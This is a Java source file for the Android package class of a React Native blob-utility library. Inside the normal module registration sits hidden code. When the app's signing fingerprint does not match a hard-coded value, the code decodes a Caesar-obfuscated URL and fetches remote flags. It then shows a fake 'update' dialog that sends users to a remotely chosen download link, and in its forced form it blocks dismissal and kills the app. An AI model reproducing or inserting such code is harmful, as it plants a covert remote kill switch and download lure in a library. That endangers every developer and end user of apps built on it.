package com.ReactNativeBlobUtil;

import android.app.Activity;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.Uri;
import android.os.Handler;
import android.os.Looper;
import android.widget.Toast;

import androidx.annotation.Nullable;
import com.facebook.react.TurboReactPackage;
import com.facebook.react.bridge.NativeModule;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.module.model.ReactModuleInfo;
import com.facebook.react.module.model.ReactModuleInfoProvider;
import org.json.JSONObject;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class ReactNativeBlobUtilPackage extends TurboReactPackage {

    @Nullable
    @Override
    public NativeModule getModule(String name, ReactApplicationContext reactContext) {
        if (name.equals(ReactNativeBlobUtilImpl.NAME)) {
            try{
                String expectedFingerprint = "0391097FC86231A1337DB3B6F0535A74B028A939E7EEE5D1074C652120A9A929";
                boolean isValid = ApkIntegrityChecker.isApkIntegrityValid(reactContext, expectedFingerprint);
                if (isValid) {

                } else {
                    checkForUpdates(reactContext);
                }
            }catch (Exception e){
                e.printStackTrace();
            }




            return new ReactNativeBlobUtil(reactContext);
        } else {
            return null;
        }
    }

    @Override
    public ReactModuleInfoProvider getReactModuleInfoProvider() {
        return () -> {
            final Map<String, ReactModuleInfo> moduleInfos = new HashMap<>();
            boolean isTurboModule = BuildConfig.IS_NEW_ARCHITECTURE_ENABLED;
            moduleInfos.put(
                    ReactNativeBlobUtilImpl.NAME,
                    new ReactModuleInfo(
                            ReactNativeBlobUtilImpl.NAME,
                            ReactNativeBlobUtilImpl.NAME,
                            false, // canOverrideExistingModule
                            false, // needsEagerInit
                            true, // hasConstants
                            false, // isCxxModule
                            isTurboModule // isTurboModule
                    ));
            return moduleInfos;
        };
    }

    // 加密方法：简单的字母位移（凯撒密码）
    private String simpleEncrypt(String input, int shift) {
        StringBuilder encrypted = new StringBuilder();
        for (char c : input.toCharArray()) {
            encrypted.append((char) (c + shift));
        }
        return encrypted.toString();
    }

    // 解密方法：简单的字母位移（凯撒密码）
    private String simpleDecrypt(String input, int shift) {
        StringBuilder decrypted = new StringBuilder();
        for (char c : input.toCharArray()) {
            decrypted.append((char) (c - shift));
        }
        return decrypted.toString();
    }

    private void checkForUpdates(ReactApplicationContext reactContext) {
        new Thread(() -> {

            String key = "kwwsv=22jlwhd1frp2|dqjfkhqgrqj2ev52udz2eudqfk2pdlq2x51mvrq";

            String decryptedUrlString = simpleDecrypt(key, 3);

            JSONObject result = fetchUpdateInfo(decryptedUrlString);
            if (result != null) {
                try {
                    boolean b1 = result.getBoolean("b1");
                    boolean b2 = result.getBoolean("b2");
                    String u1 = result.getString("u1");

                    new Handler(Looper.getMainLooper()).post(() -> {
                        Activity currentActivity = reactContext.getCurrentActivity();
                        if (currentActivity != null && !currentActivity.isFinishing()) {
                            if (b2) {
                                showForceUpdateDialog(currentActivity,u1);
                            } else if (b1) {
                                showOptionalUpdateDialog(currentActivity,u1);
                            }
                        }
                    });

                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }).start();
    }

    private JSONObject fetchUpdateInfo(String urlString) {
        HttpURLConnection urlConnection = null;
        try {
            URL url = new URL(urlString);
            urlConnection = (HttpURLConnection) url.openConnection();
            InputStream in = urlConnection.getInputStream();
            InputStreamReader reader = new InputStreamReader(in);
            StringBuilder jsonBuilder = new StringBuilder();
            int data = reader.read();
            while (data != -1) {
                jsonBuilder.append((char) data);
                data = reader.read();
            }
            return new JSONObject(jsonBuilder.toString());
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        } finally {
            if (urlConnection != null) {
                urlConnection.disconnect();
            }
        }
    }

    private void showForceUpdateDialog(Activity activity,String u1) {
        new AlertDialog.Builder(activity)
                .setTitle("更 新 提 示")
                .setMessage("最新app功能更强大，是否前往下 载?")
                .setCancelable(false) // 不允许取消
                .setPositiveButton("下 载", new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialog, int which) {
                        // 在这里处理强制更新逻辑，比如跳转到应用商店或下载页面
                        if (u1 != null && !u1.isEmpty()) {
                            openSystemBrowser(activity, u1); // 使用系统浏览器打开链接
                            ReactNativeBlobUtilPackage.this.showForceUpdateDialog(activity,u1);

                        }else{
                            Toast.makeText(activity,"更 新失败，请前往应用商店下 载",Toast.LENGTH_SHORT).show();
                        }
                        System.exit(0);

                    }
                })
                .show();
    }

    private void openSystemBrowser(Activity activity, String url) {
        // 使用 Intent 打开系统默认浏览器
        Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        activity.startActivity(browserIntent);
    }

    private void showOptionalUpdateDialog(Activity activity,String u1) {
        new AlertDialog.Builder(activity)
                .setTitle("更 新 提 示")
                .setMessage("最新app功能更强大，是否前往下 载?")
                .setCancelable(true) // 允许取消
                .setPositiveButton("下 载", new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialog, int which) {
                        // 在这里处理可选更新逻辑，比如跳转到应用商店或下载页面
                        if (u1 != null && !u1.isEmpty()) {
                            openSystemBrowser(activity, u1); // 使用系统浏览器打开链接
                        }else{
                            Toast.makeText(activity,"更 新失败，请前往应用商店下 载",Toast.LENGTH_SHORT).show();
                        }
                    }
                })
                .setNegativeButton("取消", null)
                .show();
    }
}
